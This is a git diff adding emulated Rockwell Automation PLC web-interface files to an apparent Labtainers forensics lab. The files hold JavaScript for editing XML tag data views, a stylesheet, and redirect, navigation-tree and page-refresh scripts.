"http://www.w3.org/2001/XMLSchema-instance"; + +function initialize(fname) { + xmlDoc = new XMLDocument(); + xmlDoc.async = false; + xmlDoc.setProperty("SelectionLanguage", "XPath"); + + xslDoc = new XMLDocument(); + xslDoc.async = false; + + /* Turn on the wait cursor */ + document.body.style.cursor = "wait"; + + if (fname == "") { + var pi = xmlDoc.createProcessingInstruction("xml", "version=\"1.0\""); + xmlDoc.appendChild(pi); + + pi = xmlDoc.createProcessingInstruction("xml-stylesheet", "href=\"/dataview/dataview.xsl\" type=\"text/xsl\""); + xmlDoc.appendChild(pi); + + newRoot = xmlDoc.createNode(Node.ELEMENT_NODE, "view", DATAVIEW_NAMESPACE); + + if (Browser.Gecko) + { + // Firefox doesn't properly add the namespace declaration for this prefix, so we'll add it ourselves. + attribute = xmlDoc.createAttribute("xmlns:xsi"); + attribute.value = XSI_NAMESPACE; + newRoot.attributes.setNamedItem(attribute); + } + + attribute = xmlDoc.createNode(Node.ATTRIBUTE_NODE, "xsi:schemaLocation", XSI_NAMESPACE); + attribute.value = DATAVIEW_NAMESPACE + " /schema/dataview.xsd"; + newRoot.attributes.setNamedItem(attribute); + + attribute = xmlDoc.createAttribute("xmlns:cip"); + attribute.value = DATATYPES_NAMESPACE; + newRoot.attributes.setNamedItem(attribute); + + attribute = xmlDoc.createAttribute("name"); + attribute.value = ''; + newRoot.attributes.setNamedItem(attribute); + + attribute = xmlDoc.createAttribute("description"); + attribute.value = ''; + newRoot.attributes.setNamedItem(attribute); + + xmlDoc.appendChild(newRoot); + xmlDoc.setProperty("SelectionNamespaces", "xmlns:dv='" + DATAVIEW_NAMESPACE + "'"); + } else { + try { + xmlDoc.load(fname); + xmlDoc.setProperty("SelectionNamespaces", "xmlns:dv='" + DATAVIEW_NAMESPACE + "'"); + if (!isValidDataView(xmlDoc)) { + alert("The dataview '" + fname + "' is not valid and could not be loaded. Please delete the view and recreate it."); + history.go(-1); + return; + } + newRoot = xmlDoc.documentElement; + description.value = newRoot.attributes.getNamedItem("description").nodeValue; + dataview.value = newRoot.attributes.getNamedItem("name").nodeValue; + form1.xmlname.value = dataview.value; + document.form1.oldname.value = fname.substring(fname.lastIndexOf("/")+1); + document.form1.oldcount.value = xmlDoc.selectNodes("/dv:view/dv:tag").length; + } catch (exc) { + alert("The dataview '" + fname + "' is malformed and could not be loaded. Please delete the view and recreate it."); + history.go(-1); + return; + } + } + + xslDoc.load("/dataview/newview.xsl") + + document.getElementById("island").innerHTML = xmlDoc.documentElement.transformNode(xslDoc) + + document.getElementById("slot").value = ''; + document.getElementById("tagname").value = ''; + document.getElementById("datatype").value = 2; + document.getElementById("displaytype").value = 0; + document.getElementById("readwrite").value = 0; + + /* Restore the default cursor */ + document.body.style.cursor = "default"; +} + +function isValidDataView(xmlDoc) { + /* + * There must be one and only one root "view" node + */ + + var elts_view = xmlDoc.selectNodes("/dv:view"); + if (elts_view.length == 1) { + + /* + * The root "view" node must have a name and description + */ + var elt_view = xmlDoc.selectSingleNode("/dv:view"); + if (elt_view.attributes.getNamedItem("name") && elt_view.attributes.getNamedItem("description")) { + + /* + * Get all the tag elements + */ + var elts_tag = xmlDoc.selectNodes("/dv:view/dv:tag"); + for (i=0; i 0) { + alert("A tag with this slot and name already exists. Please supply a different slot or tag name."); + document.getElementById("slot").focus(); + return; + } + + document.getElementById("addrow").title = "Add this tag"; + document.getElementById("addsave").innerHTML = "Add"; + document.getElementById("canceldiv").innerHTML = ""; + document.getElementById("cancelrow").style.display = "none"; + + newNode = xmlDoc.createNode(Node.ELEMENT_NODE, "tag", DATAVIEW_NAMESPACE); + + newChild = xmlDoc.createAttribute("name") + newChild.value = document.getElementById("tagname").value + document.getElementById("tagname").value = '' + newNode.attributes.setNamedItem(newChild) + + newChild = xmlDoc.createAttribute("valueType") + switch (parseInt(document.getElementById("datatype").value)) { + case 0: + newChild.value = "cip:dt_BOOL" + break; + case 1: + newChild.value = "cip:dt_SINT" + break; + case 2: + newChild.value = "cip:dt_INT" + break; + case 3: + newChild.value = "cip:dt_DINT" + break; + case 4: + newChild.value = "cip:dt_REAL" + break; + case 5: + newChild.value = "cip:dt_STRINGI" + } + document.getElementById("datatype").value = 2 + newNode.attributes.setNamedItem(newChild) + + newChild = xmlDoc.createAttribute("path") + newChild.value = PATH_TO_LOCAL_BACKPLANE + document.getElementById("slot").value + document.getElementById("slot").value = '' + newNode.attributes.setNamedItem(newChild) + + newChild = xmlDoc.createAttribute("display") + switch(parseInt(document.getElementById("displaytype").value)) { + case 0: + newChild.value = "Decimal"; + break; + case 1: + newChild.value = "Hexadecimal"; + break; + case 2: + newChild.value = "Octal"; + break; + case 3: + newChild.value = "Binary"; + break; + case 4: + newChild.value = "String"; + } + document.getElementById("displaytype").value = 0 + document.getElementById("displaytype").disabled = false + newNode.attributes.setNamedItem(newChild) + + newChild = xmlDoc.createAttribute("access") + if (document.getElementById("readwrite").value == 0) { + newChild.value = "admin" + } else if (document.getElementById("readwrite").value == 1) { + newChild.value = "write" + } else { + newChild.value = "read" + } + document.getElementById("readwrite").value = 0 + newNode.attributes.setNamedItem(newChild) + + /* Stick in a nil value node to be a valid document */ + var newValueNode = xmlDoc.createNode(Node.ELEMENT_NODE, "value", DATAVIEW_NAMESPACE); + var newNil = xmlDoc.createNode(Node.ATTRIBUTE_NODE, "xsi:nil", XSI_NAMESPACE); + newNil.value = "true"; + newValueNode.attributes.setNamedItem(newNil); + + newNode.appendChild(xmlDoc.createTextNode("\n\t\t")); + newNode.appendChild(newValueNode); + newNode.appendChild(xmlDoc.createTextNode("\n\t")); + newRoot.appendChild(xmlDoc.createTextNode("\n\t")); + newRoot.appendChild(newNode); + + document.getElementById("island").innerHTML = xmlDoc.documentElement.transformNode(xslDoc) + document.getElementById("slot").focus() +} + +function do_row() { + /* Turn on the wait cursor */ + document.body.style.cursor = "wait"; + setTimeout("do_row2();", 10); +} + +function do_row2() { + if ((document.getElementById("e_slot").value == "" ) && (document.getElementById("e_tag").value == "")) { + add_row(); + } else { + nodes = xmlDoc.selectNodes("/dv:view/dv:tag[@path='" + document.getElementById("e_slot").value + "' and @name='" + document.getElementById("e_tag").value + "']"); + if (nodes.length > 0) { + node = nodes.item(0); + save_row(); + } else { + add_row(); + } + } + /* Restore the cursor cursor */ + document.body.style.cursor = "default"; +} + +function save_row() { + var newChild + + if (document.getElementById("slot").value == "") { + alert("Please supply a controller path!"); + return; + } + + if (document.getElementById("tagname").value == "") { + alert("Please supply a tag name!"); + return; + } + + /* Path validation */ + if (!isValidSlot(document.getElementById("slot").value)) { + alert("The slot is invalid. Please enter a\nnumber between 0 and 16, inclusive"); + document.getElementById("slot").focus(); + return; + } + + /* No BOOL arrays... */ + if ((parseInt(document.getElementById("datatype").value) == 0) && (document.getElementById("tagname").value.indexOf("[") != -1) && (document.getElementById("tagname").value.indexOf("]") != -1) && (document.getElementById("tagname").value.indexOf("[") < document.getElementById("tagname").value.indexOf("]"))) { + alert("Boolean arrays are not supported. Consult the release notes for more information."); + document.getElementById("tagname").focus(); + return; + } + + document.getElementById("slot").value = "" + parseInt(document.getElementById("slot").value); + + if ((PATH_TO_LOCAL_BACKPLANE + document.getElementById("slot").value == document.getElementById("e_slot").value) && (document.getElementById("tagname").value == document.getElementById("e_tag").value)) { + /* The slot and tag name are the same as they were before, so the "limit" of the number of matching + nodes in the document is 1 (the one that previously existed) */ + xpathLimit = 1; + } else { + /* This isn't the same as before, so there should be none that match */ + xpathLimit = 0; + } + + if (xmlDoc.selectNodes("/dv:view/dv:tag[@path='" + PATH_TO_LOCAL_BACKPLANE + document.getElementById("slot").value + "' and @name='" + document.getElementById("tagname").value + "']").length > xpathLimit) { + alert("A tag with this path and name already exists. Please supply a different path or tag name."); + return; + } + + document.getElementById("addrow").title = "Add this tag"; + document.getElementById("addsave").innerHTML = "Add"; + document.getElementById("canceldiv").innerHTML = ""; + document.getElementById("cancelrow").style.display = "none"; + + node.selectSingleNode("@path").value = PATH_TO_LOCAL_BACKPLANE + document.getElementById("slot").value; + document.getElementById("slot").value = ''; + + node.selectSingleNode("@name").value = document.getElementById("tagname").value; + document.getElementById("tagname").value = ''; + + switch (parseInt(document.getElementById("datatype").value)) { + case 0: + node.selectSingleNode("@valueType").value = "cip:dt_BOOL" + break; + case 1: + node.selectSingleNode("@valueType").value = "cip:dt_SINT" + break; + case 2: + node.selectSingleNode("@valueType").value = "cip:dt_INT" + break; + case 3: + node.selectSingleNode("@valueType").value = "cip:dt_DINT" + break; + case 4: + node.selectSingleNode("@valueType").value = "cip:dt_REAL" + break; + case 5: + node.selectSingleNode("@valueType").value = "cip:dt_STRINGI" + } + document.getElementById("datatype").value = 2; + + switch(parseInt(document.getElementById("displaytype").value)) { + case 0: + node.selectSingleNode("@display").value = "Decimal"; + break; + case 1: + node.selectSingleNode("@display").value = "Hexadecimal"; + break; + case 2: + node.selectSingleNode("@display").value = "Octal"; + break; + case 3: + node.selectSingleNode("@display").value = "Binary"; + break; + case 4: + node.selectSingleNode("@display").value = "String"; + } + document.getElementById("displaytype").value = 0; + document.getElementById("displaytype").disabled = false; + + if (document.getElementById("readwrite").value == 0) { + node.selectSingleNode("@access").value = "admin" + } else if (document.getElementById("readwrite").value == 1) { + node.selectSingleNode("@access").value = "write" + } else { + node.selectSingleNode("@access").value = "read" + } + document.getElementById("readwrite").value = 0 + + document.getElementById("tagtable").rows[parseInt(document.getElementById("e_row").value)].style.backgroundColor = rowcolor; + + document.getElementById("e_slot").value = ""; + document.getElementById("e_tag").value = ""; + document.getElementById("e_row").value = ""; + + document.getElementById("island").innerHTML = xmlDoc.documentElement.transformNode(xslDoc) + document.getElementById("slot").focus() +} + +function edit_row(vslot, vtag, tagnum) { + nodes = xmlDoc.selectNodes("/dv:view/dv:tag[@path='" + vslot + "' and @name='" + vtag + "']"); + + if (document.getElementById("e_row").value != "") { + document.getElementById("tagtable").rows[parseInt(document.getElementById("e_row").value)].style.backgroundColor = rowcolor; + } + + if (nodes.length > 0) { + document.getElementById("addrow").title = "Update this tag"; + document.getElementById("addsave").innerHTML = "Update"; + document.getElementById("canceldiv").innerHTML = "Cancel"; + document.getElementById("cancelrow").style.display = "block"; + + node = nodes[0]; + + document.getElementById("e_slot").value = node.selectSingleNode("@path").value; + document.getElementById("slot").value = document.getElementById("e_slot").value.substring(PATH_TO_LOCAL_BACKPLANE.length, document.getElementById("e_slot").value.length); + document.getElementById("tagname").value = node.selectSingleNode("@name").value; + document.getElementById("e_tag").value = document.getElementById("tagname").value; + document.getElementById("e_row").value = tagnum; + + switch (node.selectSingleNode("@valueType").value) { + case "cip:dt_BOOL": + document.getElementById("datatype").value = 0; + break; + case "cip:dt_SINT": + document.getElementById("datatype").value = 1; + break; + case "cip:dt_INT": + document.getElementById("datatype").value = 2; + break; + case "cip:dt_DINT": + document.getElementById("datatype").value = 3; + break; + case "cip:dt_REAL": + document.getElementById("datatype").value = 4; + break; + case "cip:dt_STRINGI": + document.getElementById("datatype").value = 5; + } + if ((parseInt(document.getElementById("datatype").value) == 0) || (parseInt(document.getElementById("datatype").value) == 5)) { + document.getElementById("displaytype").value = "4"; + document.getElementById("displaytype").disabled = true; + } else if (parseInt(document.getElementById("datatype").value) == 4) { + document.getElementById("displaytype").value = "0"; + document.getElementById("displaytype").disabled = true; + } else { + switch (node.selectSingleNode("@display").value) { + case "Decimal": + document.getElementById("displaytype").value = 0; + break; + case "Hexadecimal": + document.getElementById("displaytype").value = 1; + break; + case "Octal": + document.getElementById("displaytype").value = 2; + break; + case "Binary": + document.getElementById("displaytype").value = 3; + break; + case "String": + document.getElementById("displaytype").value = 4; + } + document.getElementById("displaytype").disabled = false; + } + if (node.selectSingleNode("@access").value == "admin") { + document.getElementById("readwrite").value = 0; + } else if (node.selectSingleNode("@access").value == "write") { + document.getElementById("readwrite").value = 1; + } else { + document.getElementById("readwrite").value = 2; + } + + /* Color the background of the row under edit */ + rowcolor = document.getElementById("tagtable").rows[tagnum].style.backgroundColor; + document.getElementById("tagtable").rows[tagnum].style.backgroundColor = "#ffff80"; + + document.getElementById("slot").focus() + } +} + +function cancel_row() { + document.getElementById("tagtable").rows[parseInt(document.getElementById("e_row").value)].style.backgroundColor = rowcolor; + + document.getElementById("e_slot").value = ""; + document.getElementById("e_tag").value = ""; + document.getElementById("e_row").value = ""; + + document.getElementById("slot").value = ""; + document.getElementById("tagname").value = ""; + document.getElementById("datatype").value = 2; + document.getElementById("displaytype").value = 0; + document.getElementById("displaytype").disabled = false; + document.getElementById("readwrite").value = 0; + + document.getElementById("addrow").title = "Add this tag"; + document.getElementById("addsave").innerHTML = "Add"; + document.getElementById("canceldiv").innerHTML = ""; + document.getElementById("cancelrow").style.display = "none"; + + document.getElementById("slot").focus(); +} + +function del_row(vslot, vtag, vrow) { + var dnodes + var dnode + + dnodes = xmlDoc.selectNodes("/dv:view/dv:tag[@path='" + vslot + "' and @name='" + vtag + "']"); + + if (dnodes.length > 0) { + if ((document.getElementById("e_slot").value != "") && (document.getElementById("e_tag").value != "") && (document.getElementById("e_row").value != "") && (document.getElementById("e_slot").value == vslot) && (document.getElementById("e_tag").value == vtag) && (document.getElementById("e_row").value == vrow)) { + /* The user is trying to delete the tag we're editing */ + document.getElementById("tagtable").rows[parseInt(document.getElementById("e_row").value)].style.backgroundColor = rowcolor; + + document.getElementById("e_slot").value = ""; + document.getElementById("e_tag").value = ""; + document.getElementById("e_row").value = ""; + + document.getElementById("slot").value = ""; + document.getElementById("tagname").value = ""; + document.getElementById("datatype").value = 2; + document.getElementById("displaytype").value = 0; + document.getElementById("displaytype").disabled = false; + document.getElementById("readwrite").value = 0; + + document.getElementById("addrow").title = "Add this tag"; + document.getElementById("addsave").innerHTML = "Add"; + document.getElementById("canceldiv").innerHTML = ""; + document.getElementById("cancelrow").style.display = "none"; + } + dnode = dnodes.item(0); + dnode.parentNode.removeChild(dnode); + } + + document.getElementById("island").innerHTML = xmlDoc.documentElement.transformNode(xslDoc) + + if ((document.getElementById("e_row").value != "") && (parseInt(document.getElementById("e_row").value) != vrow)) { + if (parseInt(document.getElementById("e_row").value) > vrow) { + document.getElementById("e_row").value = "" + (parseInt(document.getElementById("e_row").value) - 1); + } + rowcolor = document.getElementById("tagtable").rows[parseInt(document.getElementById("e_row").value)].style.backgroundColor; + document.getElementById("tagtable").rows[parseInt(document.getElementById("e_row").value)].style.backgroundColor = "#ffff80"; + } + + document.getElementById("slot").focus(); +} + +function update_name() { + var charect = ""; + var dv = new String (dataview.value); + var c; + var viewsDoc; + + for (var n = 1 ; n <= dv.length ; n++) + { + c = dv.substring(n-1,n); + if (((c >= "a") && (c <= "z")) || ((c >= "A") && (c <= "Z")) || ((c >= "0") && (c <= "9")) || (c == "_")) + {charect+=c;} + else if (c == " ") + {charect+="_";} + } + dataview.value = charect; + + form1.xmlname.value = dataview.value; + return true; +} + +function update_description() { + +var descriptioncount; +var descriptionstring; + +if (document.getElementById('description').value.length > 512 ) + { + descriptioncount = document.getElementById('description').value.length - 512 + descriptionstring = descriptioncount + ' character' + if (descriptioncount > 1 ) + descriptionstring = descriptionstring + 's'; + descriptionstring = descriptionstring + '. '; + alert('Description is limited to 512 characters. Please remove ' + descriptionstring); + document.getElementById('description').focus(); + return false; + } +} + +function validate() { + var attribute + + if (newRoot.childNodes.length == 0) { + alert("Please add tags to the data view before saving!"); + return; + } + + if (dataview.value == "") { + alert("Please give the data view a name before saving!"); + return; + } + + update_name(); + + /* See if this view exists, and alert if so */ + if ((document.form1.oldname.value == "") || ((dataview.value + ".xml").toLowerCase() != document.form1.oldname.value.toLowerCase())) { + viewsDoc = new XMLDocument() + viewsDoc.async = false; + viewsDoc.setProperty("SelectionLanguage", "XPath"); + viewsDoc.load("/rokform/DataViewsXML"); + + if (viewsDoc.selectSingleNode("/views/view[@name='" + dataview.value + "']")) { + if (!confirm("WARNING: A data view named '" + dataview.value + "' already exists. Saving with this name will overwrite the existing data view. Are you sure you wish to use this name?")) { + return; + } + } + } + + // Remove any and all error attributes from tag nodes + for (i=newRoot.firstChild; i; i=i.nextSibling) { + if ((i.nodeType == 1) && (i.nodeName == "tag")) { + if (i.attributes.getNamedItem("error")) { + i.attributes.removeNamedItem("error"); + } + } + } + + attribute = newRoot.attributes.getNamedItem("name"); + attribute.value = dataview.value; + + attribute = newRoot.attributes.getNamedItem("description"); + attribute.value = description.value; + + newRoot.appendChild(xmlDoc.createTextNode("\n")); + + document.form1.tagcount.value = xmlDoc.selectNodes("/dv:view/dv:tag").length; + document.form1.xmltext.value=xmlDoc.xml; + document.form1.submit(); +} + +function typeUpdate() { + if ((parseInt(document.getElementById("datatype").value) == 5) || (parseInt(document.getElementById("datatype").value) == 0)){ + /* String or BOOL data type - change the display as combo box */ + document.getElementById("displaytype").value = "4"; + document.getElementById("displaytype").disabled = true; + } else if (parseInt(document.getElementById("datatype").value) == 4) { + /* REAL data type - change the display as combo box */ + document.getElementById("displaytype").value = "0"; + document.getElementById("displaytype").disabled = true; + } else { + /* Not a string type - enable the combo box */ + if (document.getElementById("displaytype").disabled) { + document.getElementById("displaytype").disabled = false; + document.getElementById("displaytype").value = "0"; + } + } +} + +function validate_displayas() { + if (((parseInt(document.getElementById("datatype").value) == 1) || (parseInt(document.getElementById("datatype").value) == 2) || (parseInt(document.getElementById("datatype").value) == 3)) && (parseInt(document.getElementById("displaytype").value) == 4)){ + document.getElementById("displaytype").value = 0; + } +} + +function isValidSlot(sl) { + return ((parseInt(sl) >= 0) && (parseInt(sl) <= 16)); +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/newview_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/newview_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/newview_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/newview_files/redirect.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/newview_files/redirect.html new file mode 100644 index 000000000..5226f9bb2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/newview_files/redirect.html @@ -0,0 +1,9 @@ + + + + + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/newview_files/redirect_files/URLhandle.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/newview_files/redirect_files/URLhandle.js new file mode 100644 index 000000000..369106f2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/newview_files/redirect_files/URLhandle.js @@ -0,0 +1,87 @@ +function redirect(URL) +{ + parent.frames.home.location.href = URL +} + +function isValidURL(url) +{ + var RegExp = /^(\/([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)*(\?(&?([-+_~.\d\w]|%[a-fA-f\d]{2,2})=?)*)?(#([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)?$/; + if(RegExp.test(url)){ + return true; + }else{ + return false; + } +} + +function parseQuery() +{ + var querystr + var queryindex + querystr = "" + parent.parent.document.location.href + + if ((queryindex = querystr.indexOf('?')) != -1) + { + querystr = querystr.substring(queryindex + 1) + + if ((queryindex = querystr.indexOf('redirect=')) != -1) + { + querystr = querystr.substring(queryindex + 9) + if (isValidURL(querystr) && (querystr != this.location.pathname)) + { + redirect (querystr) + } + + } + else // invalid query string + alert("Invalid Query String") + } +} + +function frame_check() +{ + + if (top == self) + + { + var newUrl = "/index.html?redirect=" + document.location.pathname; + var replaceOK = true; + + if (navigator.appName.indexOf("Microsoft") > -1) + { + if (parseInt(navigator.appVersion) < 4) + { + replaceOK = false; + } + } + + if (replaceOK) + { + location.replace(newUrl); + } + else + { + document.location.href = newUrl; + } + } + + if (self){ + if (self.name == "home") { + top.frames.home.focus(); + } + } +} + +function highlightTree(url) +{ + var treeframe= parent.frames.navtree; + + if (treeframe.highlighted != 0) + { + treeframe.overColor(treeframe.highlighted, "#bcbcbc"); + } + + var treeobj= treeframe.document.getElementById(url); + + treeframe.overColor(treeobj, "#dedede"); + treeframe.highlighted= treeobj; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/redirect.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/redirect.html new file mode 100644 index 000000000..409627f2e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/redirect.html @@ -0,0 +1,16 @@ + + + + + + + + + + + + + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/scripts/URLhandle.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/scripts/URLhandle.js new file mode 100644 index 000000000..369106f2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/scripts/URLhandle.js @@ -0,0 +1,87 @@ +function redirect(URL) +{ + parent.frames.home.location.href = URL +} + +function isValidURL(url) +{ + var RegExp = /^(\/([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)*(\?(&?([-+_~.\d\w]|%[a-fA-f\d]{2,2})=?)*)?(#([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)?$/; + if(RegExp.test(url)){ + return true; + }else{ + return false; + } +} + +function parseQuery() +{ + var querystr + var queryindex + querystr = "" + parent.parent.document.location.href + + if ((queryindex = querystr.indexOf('?')) != -1) + { + querystr = querystr.substring(queryindex + 1) + + if ((queryindex = querystr.indexOf('redirect=')) != -1) + { + querystr = querystr.substring(queryindex + 9) + if (isValidURL(querystr) && (querystr != this.location.pathname)) + { + redirect (querystr) + } + + } + else // invalid query string + alert("Invalid Query String") + } +} + +function frame_check() +{ + + if (top == self) + + { + var newUrl = "/index.html?redirect=" + document.location.pathname; + var replaceOK = true; + + if (navigator.appName.indexOf("Microsoft") > -1) + { + if (parseInt(navigator.appVersion) < 4) + { + replaceOK = false; + } + } + + if (replaceOK) + { + location.replace(newUrl); + } + else + { + document.location.href = newUrl; + } + } + + if (self){ + if (self.name == "home") { + top.frames.home.focus(); + } + } +} + +function highlightTree(url) +{ + var treeframe= parent.frames.navtree; + + if (treeframe.highlighted != 0) + { + treeframe.overColor(treeframe.highlighted, "#bcbcbc"); + } + + var treeobj= treeframe.document.getElementById(url); + + treeframe.overColor(treeobj, "#dedede"); + treeframe.highlighted= treeobj; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/scripts/navtree.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/scripts/navtree.js new file mode 100644 index 000000000..ffaf5ccad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/scripts/navtree.js @@ -0,0 +1,117 @@ +function highlightView(current) +{ + if (highlighted != 0) + { + overColor(highlighted, "#bcbcbc"); + } + + overColor(current, "#dedede"); + highlighted= current; + + if (eval("typeof(parent.timeoutPntr)") != 'undefined') // clear any pending refreshes from another page + parent.window.clearTimeout(parent.timeoutPntr); +} + +function showBranch(branch) +{ + var objBranch; + objBranch = document.getElementById(branch).style + + if (objBranch.display == "block") + { + objBranch.display="none"; + } + else + { + objBranch.display="block"; + } + + top.frames.home.focus(); +} + +function branchState(branch, state) +{ + objBranch = document.getElementById(branch).style + + if (state == "expand") + { + objBranch.display="block"; + } + else + { + objBranch.display="none"; + } +} +function swapFolder(img) +{ + objImg = document.getElementById(img); + + if (objImg.src.indexOf('/images/folder.gif') > -1) + { + objImg.src = openImg.src; + } + else + { + objImg.src = closedImg.src; + } +} + +function folderState(img, state) +{ + objImg = document.getElementById(img); + if (state == "expand") + { + objImg.src = openImg.src; + } + else + { + objImg.src = closedImg.src; + } +} + +function overColor(object, color) +{ + object.style.backgroundColor= color; +} + +function outColor(object, color) +{ + + if (object == highlighted) + { + color= "#dedede"; + } + + object.style.backgroundColor= color; +} + +function changeAll(state) +{ + // change all folder images + folderState("f_data_views", state); + folderState("f_diagnostics", state); + folderState("f_admin_settings", state); + folderState("f_device_config", state); + folderState("f_user_manage", state); + folderState("f_server_manage", state); + folderState("f_adv_diagnostics", state); + folderState("f_enet_ip", state); + folderState("f_network", state); + folderState("f_controlbus", state); + folderState("f_misc", state); + + // expand all branches + branchState("b_data_views", state); + branchState("b_diagnostics", state); + branchState("b_admin_settings", state); + branchState("b_device_config", state); + branchState("b_user_manage", state); + branchState("b_server_manage", state); + branchState("b_adv_diagnostics", state); + branchState("b_enet_ip", state); + branchState("b_network", state); + branchState("b_controlbus", state); + branchState("b_misc", state); + + top.frames.home.focus(); +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/scripts/refresh.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/scripts/refresh.js new file mode 100644 index 000000000..7c96eeffe --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/scripts/refresh.js @@ -0,0 +1,19 @@ +function jsRefresh() +{ + parent.refreshTime = document.getElementById("refresh").value; + if (parent.refreshTime != 0) + document.location.reload(); +} + +function refreshInit() +{ + if (eval("typeof(parent.refreshTime)") == 'undefined') + parent.refreshTime = document.getElementById('refresh').value; + else + document.getElementById('refresh').value = parent.refreshTime; + + if (eval("typeof(parent.timeoutPntr)") != 'undefined') + parent.window.clearTimeout(parent.timeoutPntr); + + parent.timeoutPntr = parent.window.setTimeout("frames.home.jsRefresh();", (parent.refreshTime * 1000)); +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/services.asp b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/services.asp new file mode 120000 index 000000000..64375ab56 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/services.asp @@ -0,0 +1 @@ +services.html \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/services.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/services.html new file mode 100644 index 000000000..4563ebdd0 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/services.html @@ -0,0 +1,16 @@ + + +Rockwell Automation + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/services_files/header.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/services_files/header.html new file mode 100644 index 000000000..c42fb2b14 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/services_files/header.html @@ -0,0 +1,16 @@ + + +Rockwell Automation + + + + + + + + + +
